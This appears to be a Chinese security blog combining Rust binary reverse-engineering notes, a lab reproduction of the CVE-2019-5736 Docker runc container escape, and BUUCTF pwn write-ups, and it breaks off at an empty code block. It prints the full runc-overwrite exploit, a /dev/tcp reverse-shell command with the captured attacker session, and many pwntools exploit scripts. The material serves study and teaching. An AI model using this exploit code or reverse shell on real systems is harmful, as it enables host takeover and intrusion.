第二行就比第一行热闹多了,由于io::stdin()返回的是Stdin,代码中使用的返回值与C语言一样,保存在rax中。不过这里是首先将函数地址赋值给rax,通过call rax完成调用。调用完stdin()后,Rust不知道为什么用了一个jmp指令,跨越了几条指令再继续执行后面的read_line方法。对于read_line方法,可以看到前3个寄存器进行了赋值。其中rsiio::stdin()的返回值,也就是Stdin对象实例,rdx是字符串input的地址,这一点可以通过第一行对[rsp+80]赋值得知,那么rdi是什么呢?这里就需要返回到IDA界面查看。

从上图可知,IDA将第一个参数解析为self,类型为core::result::Result<usize,std::io::error::Error>,而这个是read_line函数的返回值。这与io::stdin()不同,也是没有将返回值保存到rax。随后,代码继续向下,继续调用了expect方法,传入的d第一个参数就是Result实例,第二个参数是我们设置的错误字符串Read Error!地址,第三个参数为11,推测是错误字符串的长度,第四个参数通过查看发现,是这段汇编代码对应的源代码在工程中的路径。由此我们可以发现,如果今后我们需要分析一个不带符号的Rust ELF,发现有一个函数有4个参数,其中第2、4个参数均为字符串,且第4个参数是源文件地址、第3个参数是第2个参数字符串的长度,那么这个函数很有可能就是expect,通过跟踪第一个参数Result对象,可以继续进行分析。

汇编代码看到这里,我们能够发现,即使代码顺序执行,Rust编译器也一定要在一个函数调用结束后插入一个jmp指令,这一点可以从调用read_line方法可以得知,向下不断滑动窗口也能发现,整个main函数似乎是被许多jmp指令划分为许多小部分。

line 3

第三行首先看到,代码中使用了deref这个方法,至于为什么使用这个方法其实很好理解。deref传入的是String实例,返回的是字符串切片&str,而trim方法实际上是以切片作为self的,因此这里Rust隐式地将String转成切片之后再执行trim

调用deref方法后需要注意,这里将rdxrax保存到了栈中。记得在学习字符串切片的时候,书中有提及字符串切片实际上由两个部分组成——指针与长度。这里我们只通过静态分析无法判断rdxrax到底是多少,虽然我们心中可能已经知道答案,但这里还是通过简单的调试来验证一下。

可以看到,这与我们的预期是相同的,rdx保存的是长度,rax保存的是字符串指针。因此我们知道了,String类型的deref方法会将返回值保存在两个寄存器——rdxrax中。

好继续往下看。随后就是trim方法的调用,传入的第1个参数是字符串指针,第2个参数是长度。其返回值依然是保存在两个寄存器中。可见对于返回值为&str的Rust方法,其返回的方式也有一定规律。

trim之后是parse,返回值是Result类型,和read_line不同的是,read_line返回的Result实例没有泛型(Result<usize>),但是parse的返回值是Result<F, F::Err>,可能是这个原因,导致read_line可以将Result指针直接作为参数传递,而parse只能通过rax返回。不过目前这只是猜测,有关于Rust编译器对泛型的处理,就留到后面的文章中进行分析吧。

随后,有几行看似没有意义的汇编代码,像是mov qword ptr [rsp + 240], rax,这里的[rsp+240]在main函数自始至终只有这里被使用过。所以直接忽略。随后expect的传参与之前规则相同。

不过这里的expect是需要将返回值保存在num中的,也就是mov dword ptr [rsp + 28], eax这条语句,可见num是保存在[rsp+0x28]的位置。

line 4~9

下面的几行是一个println!一个match语句的值。在学Rust的时候我们了解到,match语句可以实现类似于lambda函数的功能,每一个分支的=>后都可以看成这个条件下match的返回值。就如这几行是将match的每一个分支语句都定义一个字符串切片作为传入println!
的格式化参数。

在上一行语句执行结束后,汇编代码首先将num的值放到eax中,随后进行分支判断。判断顺序是:是否等于1、是否等于2、是否小于10,而且match的判断语句是统一写在前面,具体的语句内容则放在后面。

通过对分支语句简单分析,容易得到match语句的“返回值”是保存在[rsp+208][rsp+216],因为这个是&str,所以要用0x10大小保存。

不过在汇编代码中,println!的处理流程可能不是都在所有match流程之后,而是在中间插入了一段,随后又在跳转到后面。使用1.69.0的rustc版本编译发现所有的match分支都位于println!之后,而更新版本的1.73.0则是将println!前半部分放在match分支部分中间。

随后则是println!的宏展开部分,考虑到println!太常见,通过IDA的反汇编输出的源代码可以识别出其特征。可以看到在汇编中调用了core::fmt::ArgumentV1::new_displaycore::fmt::Arguments::new_v1std::io::stdio::_print这三个方法。其中前面两个推测是Rust宏的转换函数,也就是将宏中大括号部分替换为具体的参数,而最后一个方法则是输出内容到控制台。

对于第一个函数,其唯一一个参数是match返回的字符串切片的栈地址。而对于第二个函数,传参情况则比较复杂。根据下文的_print函数传入的参数判断,第一个参数应该是返回值字符串的地址,第二个参数指向一个换行符的地址,但意义不明,第三个参数为2,第四个参数为第一个函数的返回值rax内容。第五个参数为1。目前只能确定第1个参数的含义,因此我们需要请求gdb的帮助。

可以看到,第1个函数返回的rax是要输出的字符串。注意到在ELF中并没有找到左右大括号{}这个字符串,判断可能是Rust使用了其他的方式进行解析。但是除了第一个参数之外其他参数的意义还是不明。我们不妨稍稍修改一下println!格式化字符串的值,看看代码有什么变化。

这里我们将字符串修改为a{}a{},在后面添加一个1作为第二个括号的占位符。随后我们发现,core::fmt::ArgumentV1::new_display函数被调用了两次。第一次调用传入match返回的字符串,而第二次调用传入的是这个东西:

1
2
.L__unnamed_27:
.asciz "\001\000\000"

这不正好就是1吗?也就是说,core::fmt::ArgumentV1::new_display这个函数是用来解析println!后面的参数的,将其转换为字符串切片,有几个大括号就需要调用几次。随后继续进行分析,发现汇编代码将两个函数解析得到的两个字符串切片放到了一个连续的栈地址空间,并将其作为参数4(rcx)传入。

如上图所示,这里红框部分就是赋值过程,这个地方像是一个数组的结构,按照顺序排列每个大括号对应的字符串切片。由此便可以判断出参数5(r8d)的含义,其实就是解析的字符串切片的数量。

接下来我们再看一下参数2到底是什么东西。参数2指向了一个这样的结构:

1
2
3
4
5
6
7
.L__unnamed_28:
.quad .L__unnamed_36
.asciz "\001\000\000\000\000\000\000"
.quad .L__unnamed_36
.asciz "\001\000\000\000\000\000\000"
.quad .L__unnamed_37
.asciz "\001\000\000\000\000\000\000"

其中有:

1
2
3
4
5
.L__unnamed_36:
.byte 97 ; 'a'

.L__unnamed_37:
.byte 10 ; '\n'

这样看来,这里的含义也就清楚了。编译器在对宏进行展开时转义大括号的内容是这样操作的:

  • 首先将含有大括号的字符串以大括号分隔,并形成上面的这个数组结构。
  • 对于每一个大括号,都调用一次转义函数进行转义,在栈中形成一个&str的数组。
  • 随后再调用另外一个函数(core::fmt::Arguments::new_v1)将这些切片拼起来组成最终的字符串。

core::fmt::Arguments::new_v1的5个参数含义分别就是:

  • rdi:输出字符串指针
  • rsi:预编译的数组结构,表示宏不需要转义的字符串部分
  • rdx:预编译数组结构的长度
  • rcx:运行时解析的已经被转义的&str数组
  • r8:运行时解析的&str数组长度

这个函数调用完之后,就可以进行宏展开的后续代码了。对于println!而言是输出,也即调用std::io::stdio::_print

输出之后,后面就没有多少代码了:

1
2
3
4
5
6
7
8
9
10
11
12
.LBB60_18:
lea rdi, [rsp + 80]
call qword ptr [rip + core::ptr::drop_in_place<alloc::string::String>@GOTPCREL]
add rsp, 248
ret
mov rax, qword ptr [rip + core::panicking::panic_cannot_unwind@GOTPCREL]
call rax
ud2
.LBB60_20:
mov rdi, qword ptr [rsp + 224]
call _Unwind_Resume@PLT
ud2

这里的core::ptr::drop_in_place应该是Rust将这个String对象实例回收了。随后将栈上抬,main函数就正常返回了。

0x03. IDA反汇编

上一节我们对Rust ELF的分析大多是基于汇编层面进行的,当代码量比较多的时候,基本块之间的跳转关系可能会更加复杂,不利于我们的分析。不过IDA提供了非常实用的反汇编功能,在分析时,笔者认为如果我们能够将反汇编的内容与纯汇编代码相结合,效果会更好。

但IDA的反汇编功能一开始毕竟是为C/C++设计的,对于Rust的反汇编结果不很直观也是正常的。

在反汇编的输出结果中,出现了比较奇怪的地方。

最为明显的就是字符串的解析。通过查看ELF中保存字符串的地方可以发现,Rust的字符串与字符串之间有的是以换行符隔开的,有的根本就没有分割的字符,这与C/C++使用0字符分割每个字符串不同。因为Rust字符串切片的特性,对一个字符串切片的操作必然需要使用到这个切片的长度。既然已经知道了字符串的长度,字符串与字符串之间的分隔就显得没有那么必要了。

不过庆幸的是,反汇编中对于main函数的主要逻辑的解析还是比较清楚的,第一行的String::new()表示创建了一个String实例,随后多个函数的调用连在一起就组成了第二行的读取字符串内容,就是expect函数的解析看上去不是很舒服,毕竟其与C/C++的函数调用规则有些许不同。

再往下,可以看到dereftrimparseexpect,这些函数组成了第三行的内容。

对于接下来的match,在反汇编界面中是将其解析成了多个if-else语句。随后就是println!的宏展开,输出字符串。输出后通过drop_in_place删除了一开始创建的String实例,函数返回。

0x04. 总结

以上就是我们的第一次Rust逆向尝试,还是有很多收获的,下面是本文的总结:

  1. Rust的main函数与ELF中的main不同,但很好找。
  2. Rust编译器喜欢将代码用jmp指令分割为一个个小部分。
  3. 对于返回&str的方法,是将切片的指针和长度分别保存在raxrdx之中。
  4. 对于structnew方法,一般可在反汇编界面中直接识别,在汇编中实际执行的更像是通过xxx.new(&target)的方式进行初始化。
  5. Rust对宏展开的处理有一定的规律,可通过这些规律在反汇编界面中识别出宏展开的部分。

不得不说,Rust编译器在汇编层面的处理还是有点意思的。在后面的文章中,我们将尝试分析更加复杂的代码,尝试整理出更多Rust语言特性在汇编层面中的实现方式。

近年来,有些pwn题会出一些有关于容器逃逸的题目,虽然很多都是板子题,但如果没有学过相关内容,比赛的时候还是会两眼一抹黑。因此本文将开始容器逃逸的相关内容学习。

笔者的计划是,通过具体的已发布的漏洞开始,逐步向底层逻辑前进。

在这第1篇文章中,我们从一个CVE漏洞开始——CVE-2019-5736,作为容器逃逸的入门。

主要参考资料:传送门(笔者觉得这篇文章写的非常好)

这是一个著名的Docker容器逃逸漏洞,影响范围为:Docker 18.09.2及以前,这些版本的Docker使用了1.0-rc6及以下的docker-runc从而导致漏洞。漏洞的成因是攻击者对主机的runc二进制文件进行重写,从而在提权的同时完成逃逸。下面我们就来具体了解一下这个漏洞本身。

1. Docker架构简介

要了解这个漏洞,首先就要了解docker-runc是干什么的。我们从这里可以下载到各种版本的Docker,其中大多都是压缩包。解压压缩包我们会发现其中有几个可执行文件:

  • docker: Docker客户端程序,也是我们最常用的elf,用于对镜像、容器等进行操作。
  • docker-containerd: 一个与Docker容器有关的守护进程,用于管理容器的创建、运行和销毁等操作。
  • docker-containerd-ctr: 与docker-containerd交互的命令行程序。
  • docker-containerd-shim: docker-containerd-ctr和docker-containerd的中间进程,负责通信等工作。
  • dockerd: Docker服务器进程。我们需要知道的是,Docker是以CS架构开发的,平时使用docker命令实质上也都是在和dockerd这个本地的服务器进程进行交互。
  • docker-init: 轻量级的初始化进程,用于完成容器创建时的初始化操作,并作为容器进程的父进程。
  • docker-proxy: 网络代理程序,负责容器之间的通信。
  • docker-runc: 轻量级的容器运行时工具,用于创建和运行容器,负责解析容器的配置并构建隔离环境。

也就是说,这个漏洞主要是对这个运行时工具进行攻击。

2. CVE-2019-5736介绍

这个漏洞的PoC可以在这里找到。

我们来结合这个PoC对这个漏洞的成因与利用方式进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)


var shellCmd string

func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}

func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")

// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")

// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}

A. 覆盖/bin/sh

在PoC中可以看到,fmt.Fprintln将/bin/sh这个二进制文件的前面几个字节修改成了#!/proc/self/exe\n,什么意思呢?这相当于迷惑了Linux系统,将它视作一个Linux Shell文件而不是ELF二进制可执行文件。通过这种覆盖,/bin/sh仍然可以执行,但实际上它完成的将不再是/bin/sh原本的功能,而是跑去执行/proc/self/exe这个文件。

那么/proc/self/exe这个文件又是什么?为什么要执行这个文件呢?在文章开头的资料中给出了答案。

B. 找到docker-runc进程

/proc目录中,有很多以数字命名的目录,每一个数字都代表当前一个进程的进程号,而目录中则提供了与这个进程有关的文件,其中就有exe文件。这个文件是一个符号链接,指向创建这个进程的可执行文件或这个进程加载的动态链接库。

好,现在我们已经知道进程的可执行文件本身能够在/proc中找到,那么这和本文要讲的CVE有什么关系呢?这就需要了解一下docker-runc的工作原理了。在启动一个容器时,docker-runc会首先构建文件系统等配置,然后fork一次,在子进程调用容器的启动文件完成启动。这样做的结果是,docker-runc这个进程本身也能在容器的进程列表中找到。既然docker-runc在容器中也拥有一个进程号,我们就能够通过遍历所有进程找到它。

具体的遍历方法是:遍历所有进程的cmdline文件并查找runc字符串。cmdline文件顾名思义,保存了进程的命令行参数。如果docker-runc程序位于进程表中,runc一定能够在命令行参数中找到。

C. 尝试以只读方式打开runc文件

找到了我们要的进程号之后,我们就可以打开对应的exe文件了。但需要注意的是,这个文件本身是只读的,我们不能直接以读写模式打开,因此这里利用了一个/proc文件的特性。打开/proc目录下的文件时,不受mnt命名空间的影响,在进行权限检查后就能直接获得文件描述符。

对于一个普通路径下的文件,当进程打开这个文件时,mnt命名空间会对路径进行解析,并生成文件系统视图,确定进程是否能够打开这个文件。但是对于/proc目录则不受mnt命名空间的影响,这使得以其他权限打开文件描述符成为可能,也即——绕过了mnt命名空间的约束。经过与老师的讨论,我不将这个特性视为Linux系统的漏洞。

需要注意的是,打开这个文件本身需要在容器中具有root权限,如果没有,则可能还需要完成提权。

D. 以读写方式打开文件描述符

以只读方式打开exe文件后,可通过以读写方式打开文件描述符的方式绕过权限限制,打开exe文件,实际上就是docker-runc文件。考虑到Linux系统中不允许修改正在执行的程序文件,因此这里需要多次尝试,在docker-runc停止工作时以抢占的方式打开这个文件。

E. 篡改主机的docker-runc文件,注入payload

当docker-runc文件可写后,我们就可以向其中写入任意代码并执行。

3. CVE-2019-5736复现

A. 准备工作

为了复现这个漏洞,我们需要下载18.09.2以下版本的docker。这里推荐一个仓库,可以很方便地安装用于漏洞复现的docker环境:链接。下面是下载版本:

  • docker: 18.03.1-ce
  • 镜像:Ubuntu 16.04(这个需要注意,由于我们使用的docker版本比较低,如果下载18.04及以上的Ubuntu会报错:Error response from daemon: missing signature key,只能下载更低版本的Ubuntu。)
  • 容器创建:docker run -it ubuntu:16.04 /bin/bash

B. 编译文件

最新版本的PoC中将要执行的命令移动到了命令行参数中,方便我们灵活地执行任意代码。PoC仓库:链接

1
go build main.go

之后将编译好的PoC复制到docker容器。

C. 触发漏洞

笔者初学容器逃逸,按照网上的方法尝试了很多次,才终于找到漏洞触发的方法。最后发现是网上的方法说的不详细。

Step 1

在另一台虚拟机(192.168.198.135)中打开50000端口的监听,设置PoC的任意执行命令为反弹shell命令:

1
bash -i >& /dev/tcp/192.168.198.135/50000 0>&1

Step 2

用bash作为命令行打开容器:

1
docker exec -it <容器名> bash

Step 3

apt update,安装netcat。

复制PoC二进制ELF执行PoC代码,立即可以看到/bin/sh被覆盖的提示信息,但是一直找不到runc进程,这是因为目前docker还没有需要runc参与的任务。

Step 4

在主机另一个终端打开容器的命令行让PoC检测到runc。但这次一定要用/bin/sh打开命令行而不是bash。docker exec命令执行后瞬间就可以看到runc进程被修改的提示信息。在新的终端中用sh无法打开容器的命令行,显示No help topic for '/bin/sh'

Step 5

在新的终端再一次尝试用sh打开容器的命令行,随后命令行阻塞,成功执行反弹shell代码,下面是攻击者机器的部分命令行显示内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@colin-virtual-machine:~/Desktop# nc -vv -lp 50000
Listening on 0.0.0.0 50000
Connection received on 192.168.198.xxx 42248
bash: cannot set terminal process group (8750): Inappropriate ioctl for device
bash: no job control in this shell
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# ls
ls
16505d598214f0c33ba21d8e96f5ecf34db215d32ba229527a67314d7ed96c7a.pid
config.json
init.pid
log.json
rootfs
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# uname -a
uname -a
Linux ubuntu 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339# pwd
pwd
/run/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/cf90012c3bea6ddebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339
<ebe2896995719366ddc8dd1893c0081bff30f6c5cf7d3c339#

复现完毕。

buu102-starctf_2019_babyshell

这道题虽然说有一个check函数检查输入的shellcode是否全部都是白名单里面的字符,但实际上我们可以通过开头1个字符为\x00的指令来绕过这个检查,然后写入任意字符。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'

# io = process(['./pwn'])
io = remote('node4.buuoj.cn', 25580)

sa = lambda x, y: io.sendafter(x, y)

if __name__ == '__main__':
sa(b'give me shellcode, plz:\n', b'\x00\x2f' + asm(shellcraft.amd64.sh()))
io.interactive()

buu103-actf_2019_babyheap

一道简单的堆排布问题,错开分配到控制chunk,改函数指针,/bin/sh在程序中已经有了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = 'debug'

# io = process('./pwn')
io = remote('node4.buuoj.cn', 26355)
elf = ELF('./pwn')

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
ita = lambda: io.interactive()

def add(size, content):
sla(b'Your choice: ', b'1')
sla(b'Please input size: ', str(size).encode())
sa(b'Please input content: ', content)

def delete(index):
sla(b'Your choice: ', b'2')
sla(b'Please input list index: ', str(index).encode())

def show(index):
sla(b'Your choice: ', b'3')
sla(b'Please input list index: ', str(index).encode())

binsh = 0x602010

add(0x20, b'a\n')
add(0x10, b'a\n')
delete(0)
delete(1)
add(0x30, b'a\n')
add(0x10, p64(binsh) + p64(elf.plt['system']))
show(0)
ita()

buu193-starctf2018_babystack

这道题有一个pthread_create函数创建了一个新的线程,在这个线程中有一个很大的栈溢出。这里我们需要通过对程序内存空间的分析理解本题的利用思路。
本题创建的线程的栈正好位于TLS结构体下面,TLS结构体位于libc加载基地址的前一页。记得TLS在house of emma中提到过,其中包含了canary的值,而本题中正好有canary,因此要溢出就必须溢出到覆盖canary的值。幸运的是,本题是可以实现的。
我们可以通过ret2csu调用read函数写入一个one gadget到bss段中某处,然后通过调用puts函数获取到libc的基地址,最后进行栈迁移将rsp修改为写one gadget的地址,最后调用one gagdet。这里进行栈迁移的主要目的是确保栈空间的完全纯净,因为几乎所有的one gadget都要求栈中某个地方的值为0。另外此题不能通过调用system函数的方式getshell,因为此时我们已经覆盖了TLS结构体,无法成功调用system函数,而one gadget通常都是使用syscall指令来get shell的,因此没有影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 25587)
elf = ELF('./pwn')
poprdi = 0x400c03
poprsi_r15 = 0x400c01
leave_ret = 0x400A9B
poprbp = 0x400870
gad = 0x400BFA

io.sendlineafter(b'How many bytes do you want to send?', str(0x2000).encode())
payload = cyclic(0x28) + p64(0) + cyclic(4104 - 0x30)
payload += p64(0) # canary
payload += p64(0)
payload += p64(poprdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(gad)
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(elf.got['read']) # pop r12
payload += p64(0x100) # pop r13
payload += p64(elf.bss() + 0x400) # pop r14
payload += p64(0) # pop r15
payload += p64(0x400BE0)
payload += p64(0) * 7
payload += p64(poprbp)
payload += p64(elf.bss() + 0x400)
payload += p64(leave_ret)
payload = payload.ljust(0x2000, b'\x00')

io.send(payload)
io.recvuntil(b'goodbye.\n')
puts = u64(io.recv(6) + b'\x00\x00')
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')

payload = p64(base + 0x4f322) * 4
io.sendline(payload)

io.interactive()

buu194-ciscn_2019_s_8

这道题就是考ROP,一个静态编译,能够找到很多的gadget。下面使用的是system('/bin/sh')的方式。首先需要将字符串/bin/sh写到一个地方,通过对程序的逆向分析可以找到read函数的地址。输入完成之后就是调用syscall。尤其需要注意get shell的参数。第一个参数(rdi)保存字符串/bin/sh的地址,第二个参数(rsi)保存字符串sh二重指针地址,注意是二重指针。因为/bin/sh里面已经有sh,所以直接可以偏移5个字符,不过我们传入rsi的值应该是保存有这个偏移5个字节的地址的地址,那么之前在写的时候就需要顺便写一个地址值。然后rdx赋值0即可。
另外本题有一个函数会对输入进行处理,经过简单分析即可得知是为每个字节异或0x66,写gadget的时候异或一下就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.log_level = 'debug'

# io = process('./pwn')
io = remote('node4.buuoj.cn', 25478)

poprdi = 0x4006e6
poprsi = 0x4040fe
poprdx = 0x449bf5
poprsp = 0x400d22
poprax = 0x449b9c
poprbx = 0x4005ee
poprcx = 0x400be2
poprdx = 0x449bf5
pushrsp = 0x482997 # call rdx
poprsirbp = 0x40f99e
movrdirbp = 0x422c45 # call rax
syscall = 0x44C177 # pop rdx ; pop rsi
read = 0x449be0
bss = 0x6BC300

payload = cyclic(0x90 + 8 - 8 * 9)

# payload += p64(pushrsp ^ 0x6666666666666666)
# payload += p64(poprdi)

# payload += p64(poprdi ^ 0x6666666666666666)
# payload += p64(bss - 0x300 ^ 0x6666666666666666)
# payload += p64(poprsi ^ 0x6666666666666666)
# payload += p64(0x1000 ^ 0x6666666666666666)
# payload += p64(poprdx ^ 0x6666666666666666)
# payload += p64(7 ^ 0x6666666666666666)
# payload += p64(poprax ^ 0x6666666666666666)
# payload += p64(0xA ^ 0x6666666666666666)
# payload += p64(syscall ^ 0x6666666666666666)

payload += p64(poprax ^ 0x6666666666666666)
payload += p64(0x0 ^ 0x6666666666666666)
payload += p64(poprdi ^ 0x6666666666666666)
payload += p64(0x0 ^ 0x6666666666666666)
payload += p64(poprsi ^ 0x6666666666666666)
payload += p64(bss ^ 0x6666666666666666)
payload += p64(poprdx ^ 0x6666666666666666)
payload += p64(0x100 ^ 0x6666666666666666)
payload += p64(read ^ 0x6666666666666666)
'''
payload += p64(poprax ^ 0x6666666666666666)
payload += p64(0x2 ^ 0x6666666666666666)
payload += p64(poprdi ^ 0x6666666666666666)
payload += p64(0xbss ^ 0x6666666666666666)
payload += p64(poprsi ^ 0x6666666666666666)
payload += p64(0 ^ 0x6666666666666666)
payload += p64(poprdx ^ 0x6666666666666666)
payload += p64(0 ^ 0x6666666666666666)
payload += p64(syscall ^ 0x6666666666666666)
payload += p64(0) * 2
'''
payload += p64(poprax ^ 0x6666666666666666)
payload += p64(0x3b ^ 0x6666666666666666)
payload += p64(poprdi ^ 0x6666666666666666)
payload += p64(bss ^ 0x6666666666666666)
payload += p64(poprsi ^ 0x6666666666666666)
payload += p64((bss + 8) ^ 0x6666666666666666)
payload += p64(poprdx ^ 0x6666666666666666)
payload += p64(0 ^ 0x6666666666666666)
payload += p64(syscall ^ 0x6666666666666666)

payload = payload.ljust(0x200, b'\x00')

# gdb.attach(io)
# time.sleep(3)
io.sendafter(b'Please enter your Password: ', payload)
io.sendline(b'/bin/sh\x00' + p64(bss + 5) + p64(0))
io.interactive()

buu104-wustctf2020_name_your_dog

整数溢出,往scanf.got里面写后门函数地址。

1
2
3
4
5
6
7
8
9
from pwn import *

elf = ELF('./wustctf2020_name_your_dog')
# io = process('wustctf2020_name_your_dog')
io = remote('node5.buuoj.cn', 27877)

io.sendlineafter(b'Name for which?\n>', b'-7')
io.sendlineafter(b'Give your name plz: ', packing.p32(elf.symbols['shell']))
io.interactive()

buu105-gyctf_2020_force

从题目就可以看出考的是house of force,由于分配的chunk大小无限制,可分配很大的chunk,这类chunk会通过mmap分配,且会紧靠libc下面分配,由此可获得libc地址。然后在堆分配一个小chunk获取top chunk大小,同时0x50溢出修改top chunk的size,分配超大chunk让top chunk到__malloc_hook,这样就能够在__malloc_hook分配,考虑到内存对齐问题,还需要跳到__realloc_hook进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import re
from pwn import *
import os


def get_process_pid(name):
pid_list = []
processes = os.popen('ps -ef | grep %s' % name)
process_info = processes.read()
for i in process_info.split('\n')[:-1]:
j = re.split(' +', i)
if j[7] == name:
pid_list.append(int(j[1]))
return pid_list[0]


elf = ELF('./gyctf_2020_force')
libc = ELF('/root/git_clones/glibc_run/glibc_versions/2.23/x64/lib/libc.so.6')
# io = process(['glibc_run', '2.23', './gyctf_2020_force'])
io = remote('node5.buuoj.cn', 29751)

time.sleep(1)
# pid = get_process_pid('./gyctf_2020_force')

io.sendlineafter(b'2:puts\n', b'1')
io.sendlineafter(b'size\n', str(0x200000).encode())
io.recvuntil(b'bin addr 0x')
heap_addr = int(io.recvuntil(b'\n', drop=True).decode(), 16)
print(hex(heap_addr))
io.sendlineafter(b'content\n', b'aaaa')
libc_addr = heap_addr + 0x200FF0
__malloc_hook = libc_addr + libc.symbols['__malloc_hook']
realloc = libc_addr + libc.symbols['realloc']
print("__malloc_hook: " + hex(__malloc_hook))

io.sendlineafter(b'2:puts\n', b'1')
io.sendlineafter(b'size\n', str(0x18).encode())
io.recvuntil(b'bin addr 0x')
heap_addr1 = int(io.recvuntil(b'\n', drop=True).decode(), 16)
print(hex(heap_addr1))
top_chunk_size_addr = heap_addr1 + 0x10
io.sendlineafter(b'content\n', cyclic(0x18) + packing.p64(__malloc_hook - top_chunk_size_addr + 0x100))

io.sendlineafter(b'2:puts\n', b'1')
io.sendlineafter(b'size\n', str(__malloc_hook - top_chunk_size_addr - 0x30).encode())
io.sendlineafter(b'content\n', b'aaaa')

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

io.sendlineafter(b'2:puts\n', b'1')
io.sendlineafter(b'size\n', str(0x20).encode())
io.sendlineafter(b'content\n', packing.p64(0) + packing.p64(one_gadgets[1] + libc_addr) + packing.p64(realloc + 0x10))

# gdb.attach(pid)
io.sendlineafter(b'2:puts\n', b'1')
io.sendlineafter(b'size\n', str(0x20).encode())

io.interactive()

buu106-wdb_2018_3rd_soEasy

简单栈溢出+shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF('./wdb_2018_3rd_soEasy')
# io = process(['./wdb_2018_3rd_soEasy'])
io = remote('node5.buuoj.cn', 27654)

io.recvuntil(b'Hei,give you a gift->0x')
shell_addr = int(io.recvuntil(b'\n', drop=True).decode(), 16)

payload = asm(shellcraft.sh())
payload = payload.ljust(0x48 + 4)
payload += packing.p32(shell_addr)
io.sendline(payload)

io.interactive()

buu107-judgement_mna_2016

字符串比较,格式化字符串漏洞直接能给flag读出来

1
2
3
4
5
6
7
8
9
10
from pwn import *

elf = ELF('./judgement_mna_2016')
# io = process(['./judgement_mna_2016'])
io = remote('node5.buuoj.cn', 28122)

payload = b'%45$s \x00' + packing.p32(elf.symbols['flag'])

io.sendlineafter(b'Flag judgment system\nInput flag >> ', payload)
io.interactive()

buu108-ciscn_2019_en_3

格式化字符串泄露libc基地址,因为这个是带了检查的因此不能直接使用%7$x这样的参数,但是可以通过%c一个个往后泄露,这个是检查不了的,然后借助fastbin dup,use after free之后chunk进入tcache,可以避免fastbin中对于chunk大小的检查,因此可以分配到任意地址去,尝试了__malloc_hook的三个one_gadget发现都不行,因此使用__free_hook来完成利用。

1
2
3
4
5
6
